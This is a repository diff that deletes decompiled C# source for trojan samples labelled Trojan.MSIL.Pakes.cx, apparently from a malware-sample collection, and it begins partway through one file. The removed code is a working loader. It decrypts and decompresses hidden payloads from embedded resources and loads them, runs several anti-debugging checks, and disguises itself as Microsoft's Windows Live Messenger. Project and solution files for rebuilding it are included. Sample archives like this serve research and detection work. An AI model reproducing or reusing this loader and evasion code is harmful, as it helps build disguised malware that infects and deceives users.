if (this.c91fef3c33b84b4f396c54da8206d69bd)
this.c342dc8e8e5f3f63219c0e8e43530cf23(this.ce0164d053d806b7c35ef4d6f64459821);
if (!this.cba893a6240ee4c99c92572bc0977343b)
return;
this.cffc7c3d1eed33e78ab120622162bdb46(this.ce0164d053d806b7c35ef4d6f64459821, this.c92043dfe501872db97b0d10bad8dab76, true);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private static void cebbc1d9c27517b05e47877a297b7db87(string[] c887af87eabb326bcc2391ea75a0aae92)
{
ceb562aff020f9bdc8cc736dbc668c704.c46986238c6721588f7dd03501b3a2d53();
new qbtgthkfdtdkregzw5sbjritg().k1m3loxmmjqgq5simku0mrlt2();
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs
-12
View File
@@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: jjbyfmanvwf3fcjqxg0dm4lt2.Token2000014
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
namespace jjbyfmanvwf3fcjqxg0dm4lt2
{
internal class Token2000014 : \u0024Unresolved\u0024Token\u003A1003FFF
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs
-29
View File
@@ -1,29 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: jjbyfmanvwf3fcjqxg0dm4lt2.majdcbl3z2ygng2ubtt5syebj
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using System;
using System.Runtime.InteropServices;
namespace jjbyfmanvwf3fcjqxg0dm4lt2
{
public class majdcbl3z2ygng2ubtt5syebj
{
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr D5kge1nujvdjzhv0jghbiqxxz(string lpModuleName);
[DllImport("kernel32.dll", EntryPoint = "FindResourceA")]
public static extern IntPtr Zuiqftto0ycdigqdj2bliy2ze(
IntPtr hModule,
int lpID,
string lpType);
[DllImport("kernel32.dll", EntryPoint = "LoadResource", SetLastError = true)]
public static extern IntPtr Qwkx02hqegloe50zymjvgishq(IntPtr hModule, IntPtr hResInfo);
[DllImport("kernel32.dll", EntryPoint = "SizeofResource", SetLastError = true)]
public static extern uint Kiu4wfxns4qkmxvobjd4lulyv(IntPtr hModule, IntPtr hResInfo);
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/net
BIN
View File
Binary file not shown.
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs
-33
View File
@@ -1,33 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: xjelt1xzblpwevvmag5rnjzve32rhy4yl
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using System;
using System.Text;
public static class xjelt1xzblpwevvmag5rnjzve32rhy4yl
{
public static string eubkjmyiz1ivj5id3(byte[] Ax0meisjfqaslgkkjhz0nibfqxuaulwmv)
{
StringBuilder stringBuilder = new StringBuilder();
for (int index = 0; index < Ax0meisjfqaslgkkjhz0nibfqxuaulwmv.Length; ++index)
{
char ch = Convert.ToChar(Ax0meisjfqaslgkkjhz0nibfqxuaulwmv[index]);
stringBuilder.Append(Convert.ToString(ch));
}
return stringBuilder.ToString();
}
public static byte[] Ey53uxfwuo1z4ftrs(string Pfybko4jztrhmbxr2)
{
byte[] numArray = new byte[Pfybko4jztrhmbxr2.Length];
for (int startIndex = 0; startIndex < Pfybko4jztrhmbxr2.Length; ++startIndex)
{
char ch = Convert.ToChar(Pfybko4jztrhmbxr2.Substring(startIndex, 1));
numArray[startIndex] = Convert.ToByte(ch);
}
return numArray;
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/Token2000015.cs
-12
View File
@@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.Token2000015
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
namespace A
{
internal class Token2000015 : \u0024Unresolved\u0024Token\u003A1003FFF
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c0fd6042cf6163af5c5647fc1f5915949.cs
-48
View File
@@ -1,48 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.c0fd6042cf6163af5c5647fc1f5915949
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using System;
using System.Reflection;
namespace A
{
internal class c0fd6042cf6163af5c5647fc1f5915949
{
private static readonly Assembly c818b792b82bad718aa242da7662f956c;
static c0fd6042cf6163af5c5647fc1f5915949()
{
if ((object) c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c != null)
return;
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string name = executingAssembly.GetName().Name;
foreach (string manifestResourceName in executingAssembly.GetManifestResourceNames())
{
if (name == manifestResourceName)
{
c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c = Assembly.Load(cd7d39555ed815bdbdf6dbdcced0251b4.cacebd254633b7d2e2214cba5e36683c9(executingAssembly.GetManifestResourceStream(name)));
break;
}
}
}
internal static void c28f34ae17bcce30786fdac6c263b6e52() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(c0fd6042cf6163af5c5647fc1f5915949.cc85d2cf9ab23bf5734d9b5a8f459fca7);
private static Assembly cc85d2cf9ab23bf5734d9b5a8f459fca7(
object cc44c10fe8d62da34eeccc69816e33888,
ResolveEventArgs c887af87eabb326bcc2391ea75a0aae92)
{
if ((object) c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c == null)
return c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c;
foreach (string manifestResourceName in c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c.GetManifestResourceNames())
{
if (manifestResourceName == c887af87eabb326bcc2391ea75a0aae92.Name)
return c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c;
}
return (Assembly) null;
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c20d0cffccd6dc5adbb96a36882476ba1.cs
-45
View File
@@ -1,45 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.c20d0cffccd6dc5adbb96a36882476ba1
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using System.Reflection;
using System.Text;
namespace A
{
internal class c20d0cffccd6dc5adbb96a36882476ba1
{
internal static readonly byte[] ce6c6c6083810d3d9abd1caa7d65623c0;
static c20d0cffccd6dc5adbb96a36882476ba1()
{
if (c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0 != null)
return;
Assembly executingAssembly = Assembly.GetExecutingAssembly();
c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0 = cd7d39555ed815bdbdf6dbdcced0251b4.cacebd254633b7d2e2214cba5e36683c9(executingAssembly.GetManifestResourceStream(executingAssembly.GetName().Name + executingAssembly.GetName().Name));
}
internal static string c61fe7668f61d28eef79481c480f2dd83(int c110daed218f9cfb5f06f7041c96bfaed)
{
int count;
if (((int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed] & 128) == 0)
{
count = (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed];
++c110daed218f9cfb5f06f7041c96bfaed;
}
else if (((int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed] & 64) == 0)
{
count = ((int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed] & -129) << 8 | (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed + 1];
c110daed218f9cfb5f06f7041c96bfaed += 2;
}
else
{
count = ((int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed] & -193) << 24 | (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed + 1] << 16 | (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed + 2] << 8 | (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed + 3];
c110daed218f9cfb5f06f7041c96bfaed += 4;
}
return count < 1 ? string.Empty : string.Intern(Encoding.Unicode.GetString(c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0, c110daed218f9cfb5f06f7041c96bfaed, count));
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs
-71
View File
@@ -1,71 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.cd7d39555ed815bdbdf6dbdcced0251b4
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using System;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Security.Cryptography;
namespace A
{
internal class cd7d39555ed815bdbdf6dbdcced0251b4
{
internal static byte[] cacebd254633b7d2e2214cba5e36683c9(
Stream c402977331e6b2a05cd4477a9e61e3145)
{
byte num1 = (byte) c402977331e6b2a05cd4477a9e61e3145.ReadByte();
byte[] numArray = new byte[c402977331e6b2a05cd4477a9e61e3145.Length - 1L];
c402977331e6b2a05cd4477a9e61e3145.Read(numArray, 0, numArray.Length);
if (((int) num1 & 1) != 0)
{
DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider();
byte[] dst1 = new byte[8];
Buffer.BlockCopy((Array) numArray, 0, (Array) dst1, 0, 8);
cryptoServiceProvider.IV = dst1;
byte[] dst2 = new byte[8];
Buffer.BlockCopy((Array) numArray, 8, (Array) dst2, 0, 8);
bool flag = true;
foreach (byte num2 in dst2)
{
if (num2 != (byte) 0)
{
flag = false;
break;
}
}
if (flag)
dst2 = Assembly.GetExecutingAssembly().GetName().GetPublicKeyToken();
cryptoServiceProvider.Key = dst2;
numArray = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(numArray, 16, numArray.Length - 16);
}
if (((int) num1 & 2) != 0)
{
try
{
MemoryStream memoryStream1 = new MemoryStream(numArray);
DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress);
MemoryStream memoryStream2 = new MemoryStream((int) memoryStream1.Length * 2);
int count1 = 1000;
byte[] buffer = new byte[count1];
int count2;
do
{
count2 = deflateStream.Read(buffer, 0, count1);
if (count2 > 0)
memoryStream2.Write(buffer, 0, count2);
}
while (count2 >= count1);
numArray = memoryStream2.ToArray();
}
catch (Exception ex)
{
}
}
return numArray;
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/ceb562aff020f9bdc8cc736dbc668c704.cs
-214
View File
@@ -1,214 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.ceb562aff020f9bdc8cc736dbc668c704
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace A
{
internal class ceb562aff020f9bdc8cc736dbc668c704
{
internal const uint c066f8711717b87d38c4a9103e7dbea5b = 1024;
internal const uint c488956b5828142c2e7c5e8821660a964 = 64;
internal const int c61ba3da3bea6c2867438e66b5813f0d7 = 0;
private static bool cd08b6913616190e206f4653abfe4c13e;
[DllImport("kernel32.dll", EntryPoint = "SetLastError")]
internal static extern void c0676962e0649cbdb8ae8c4337990302c(
uint c6964270963ef7da22326e535facd46c8);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle")]
internal static extern int c3f2eb907e58467139d9d7c565f97b5c8(
IntPtr c8c105f696a33c072205ff134d0726572);
[DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
internal static extern IntPtr cb338d97a6baae5e715afb05a673da81f(
uint ccab06cd7fe59da4da68c8bfa7b2cec67,
int c0b903dc06a5c28b352cbfa6c36437ee2,
uint c83f36fa9fa853b61aa49dbab722cd20d);
[DllImport("kernel32.dll", EntryPoint = "GetCurrentProcessId")]
internal static extern uint cb1c67b6eb446e387906e5a93c9a2b4be();
[DllImport("kernel32.dll", EntryPoint = "LoadLibrary", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern IntPtr c1b4be0c070d3616c411140bb09e288dd(
string c5f0a3445df70e2b534aaa5b2ddb1c4b1);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c5ff774e5036915d82eeb091b6b7eebd6 c5a1af2f891c0990b0298345911aa3591(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c1bfadde2f39160a496a3859a2401f5bb c5a70c42de15da4ad313789dc1597eea3(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c41da53a9c8625ef1d14b48682a202b3a c98a759ac92d0b565f9f48afda23e1723(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c07dcf2cc710c7c71e01e7e4ed00c5e8e c43e22ee8c8a7a09db86d8db5ddd0f855(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.ce9d23df5088eb792e07fccc9b8b94e24 ce3d245161b5a06126d87f6282b8356f9(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c39b9bfa0531c9fc0feb455cf2b9c8f5d c956e4bd23d5474745a70886e9f4eb07b(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
private static int ca8cdfc7e7fa635b7407e9fd3fd606a3d(
IntPtr cda56902428e130688e9023887f63aa89,
IntPtr cb82313bfae859cc453cb3a21eeee8786)
{
string[] strArray = new string[1]
{
c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(876)
};
string strA = ceb562aff020f9bdc8cc736dbc668c704.ca7f03f2ec2d6322b8aebf9260db20acd(cda56902428e130688e9023887f63aa89);
foreach (string strB in strArray)
{
if (string.Compare(strA, strB, true) == 0)
{
ceb562aff020f9bdc8cc736dbc668c704.cd08b6913616190e206f4653abfe4c13e = true;
return 0;
}
}
return 1;
}
[DllImport("user32.dll", EntryPoint = "GetClassName", CharSet = CharSet.Auto)]
internal static extern int c435a281356280556f77acbe71d1edd25(
IntPtr c903527eacfed62f7e16e20f281158475,
StringBuilder cf692e159f483fc085e96597474010a02,
int c33dbd37fed0f88a42198423edbf25d17);
internal static string ca7f03f2ec2d6322b8aebf9260db20acd(
IntPtr c3bb808dafcf1c96b84553e41523cee39)
{
StringBuilder cf692e159f483fc085e96597474010a02 = new StringBuilder(260);
ceb562aff020f9bdc8cc736dbc668c704.c435a281356280556f77acbe71d1edd25(c3bb808dafcf1c96b84553e41523cee39, cf692e159f483fc085e96597474010a02, cf692e159f483fc085e96597474010a02.Capacity);
return cf692e159f483fc085e96597474010a02.ToString();
}
internal static void c46986238c6721588f7dd03501b3a2d53()
{
if (ceb562aff020f9bdc8cc736dbc668c704.c836a422677732016ee03dd6b7b187cd3())
throw new Exception(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(891));
}
internal static bool c836a422677732016ee03dd6b7b187cd3()
{
try
{
if (Debugger.IsAttached)
return true;
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65 = ceb562aff020f9bdc8cc736dbc668c704.c1b4be0c070d3616c411140bb09e288dd(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1047));
ceb562aff020f9bdc8cc736dbc668c704.c07dcf2cc710c7c71e01e7e4ed00c5e8e c07dcf2cc710c7c71e01e7e4ed00c5e8e = ceb562aff020f9bdc8cc736dbc668c704.c43e22ee8c8a7a09db86d8db5ddd0f855(c40f16b134ad4a96bd5acc5e5f0c40b65, c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1072));
if (c07dcf2cc710c7c71e01e7e4ed00c5e8e != null && c07dcf2cc710c7c71e01e7e4ed00c5e8e() != 0)
return true;
IntPtr num1 = ceb562aff020f9bdc8cc736dbc668c704.cb338d97a6baae5e715afb05a673da81f(1024U, 0, ceb562aff020f9bdc8cc736dbc668c704.cb1c67b6eb446e387906e5a93c9a2b4be());
if (num1 != IntPtr.Zero)
{
try
{
ceb562aff020f9bdc8cc736dbc668c704.c41da53a9c8625ef1d14b48682a202b3a c41da53a9c8625ef1d14b48682a202b3a = ceb562aff020f9bdc8cc736dbc668c704.c98a759ac92d0b565f9f48afda23e1723(c40f16b134ad4a96bd5acc5e5f0c40b65, c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1107));
if (c41da53a9c8625ef1d14b48682a202b3a != null)
{
int pbDebuggerPresent = 0;
if (c41da53a9c8625ef1d14b48682a202b3a(num1, ref pbDebuggerPresent) != 0)
{
if (pbDebuggerPresent != 0)
return true;
}
}
}
finally
{
ceb562aff020f9bdc8cc736dbc668c704.c3f2eb907e58467139d9d7c565f97b5c8(num1);
}
}
bool flag = false;
try
{
ceb562aff020f9bdc8cc736dbc668c704.c3f2eb907e58467139d9d7c565f97b5c8(new IntPtr(305419896));
}
catch
{
flag = true;
}
if (flag)
return true;
try
{
ceb562aff020f9bdc8cc736dbc668c704.c39b9bfa0531c9fc0feb455cf2b9c8f5d c39b9bfa0531c9fc0feb455cf2b9c8f5d = ceb562aff020f9bdc8cc736dbc668c704.c956e4bd23d5474745a70886e9f4eb07b(ceb562aff020f9bdc8cc736dbc668c704.c1b4be0c070d3616c411140bb09e288dd(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1160)), c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1181));
if (c39b9bfa0531c9fc0feb455cf2b9c8f5d != null)
{
ceb562aff020f9bdc8cc736dbc668c704.cd08b6913616190e206f4653abfe4c13e = false;
int num2 = c39b9bfa0531c9fc0feb455cf2b9c8f5d(new ceb562aff020f9bdc8cc736dbc668c704.c5060d316afb717d8321ded0c4c71abdf(ceb562aff020f9bdc8cc736dbc668c704.ca8cdfc7e7fa635b7407e9fd3fd606a3d), IntPtr.Zero);
if (ceb562aff020f9bdc8cc736dbc668c704.cd08b6913616190e206f4653abfe4c13e)
return true;
}
}
catch
{
}
}
catch
{
}
return false;
}
[StructLayout(LayoutKind.Sequential)]
internal class ca3e53a8e784199805f6ccea51d3ee110
{
internal IntPtr c2e74ee20cef1e61298d98ee25a72b767;
internal IntPtr c6aa0b9558fa612292251e42cfa39c171;
internal IntPtr cf0b002bc5ddf24d7dd5d407dd1f22dfa;
internal IntPtr c58606fe43c840b73eb7ec5cbc1f3d794;
internal IntPtr cd30b9a50b79f721047327fa443483532;
internal IntPtr cc4e7c9cc7044de281cfd145a7bc95392;
}
internal delegate int c5ff774e5036915d82eeb091b6b7eebd6(
IntPtr ProcessHandle,
int ProcessInformationClass,
ceb562aff020f9bdc8cc736dbc668c704.ca3e53a8e784199805f6ccea51d3ee110 ProcessInformation,
uint ProcessInformationLength,
out uint ReturnLength);
internal delegate int c1bfadde2f39160a496a3859a2401f5bb(
IntPtr ProcessHandle,
int ProcessInformationClass,
out uint debugPort,
uint ProcessInformationLength,
out uint ReturnLength);
internal delegate int c07dcf2cc710c7c71e01e7e4ed00c5e8e();
internal delegate void ce9d23df5088eb792e07fccc9b8b94e24([MarshalAs(UnmanagedType.LPStr)] string lpOutputString);
internal delegate int c41da53a9c8625ef1d14b48682a202b3a(
IntPtr hProcess,
ref int pbDebuggerPresent);
internal delegate int c5060d316afb717d8321ded0c4c71abdf(IntPtr wnd, IntPtr lParam);
internal delegate int c39b9bfa0531c9fc0feb455cf2b9c8f5d(
ceb562aff020f9bdc8cc736dbc668c704.c5060d316afb717d8321ded0c4c71abdf lpEnumFunc,
IntPtr lParam);
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/AssemblyInfo.cs
-18
View File
@@ -1,18 +0,0 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Permissions;
[assembly: AssemblyTitle("msnmsgr.exe")]
[assembly: AssemblyDescription("© Microsoft Corporation. All rights reserved.")]
[assembly: AssemblyProduct("Windows Live Messenger")]
[assembly: SuppressIldasm]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("5afec0d2-8002-4e2a-b813-5a805f49112a")]
[assembly: AssemblyCompany("Microsoft Corporation")]
[assembly: AssemblyFileVersion("15.4.3508.1109")]
[assembly: AssemblyCopyright("Microsoft Corporation")]
[assembly: AssemblyVersion("15.4.3508.1109")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.csproj
-54
View File
@@ -1,54 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{D9601BD7-76B7-47EE-B8C0-A99A0C975B82}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>net</AssemblyName>
<ApplicationVersion>15.4.3508.1109</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="_003CModule_003E.cs" />
<Compile Include="Urds1z1wtoob4waskjjcwebqs.cs" />
<Compile Include="xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs" />
<Compile Include="jjbyfmanvwf3fcjqxg0dm4lt2\majdcbl3z2ygng2ubtt5syebj.cs" />
<Compile Include="jjbyfmanvwf3fcjqxg0dm4lt2\Token2000014.cs" />
<Compile Include="h5ujlmy3tnldxk1xj\qbtgthkfdtdkregzw5sbjritg.cs" />
<Compile Include="h5ujlmy3tnldxk1xj\Token2000013.cs" />
<Compile Include="A\c0fd6042cf6163af5c5647fc1f5915949.cs" />
<Compile Include="A\c20d0cffccd6dc5adbb96a36882476ba1.cs" />
<Compile Include="A\cd7d39555ed815bdbdf6dbdcced0251b4.cs" />
<Compile Include="A\ceb562aff020f9bdc8cc736dbc668c704.cs" />
<Compile Include="A\Token2000015.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="net" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "net", "Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508.csproj", "{D9601BD7-76B7-47EE-B8C0-A99A0C975B82}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
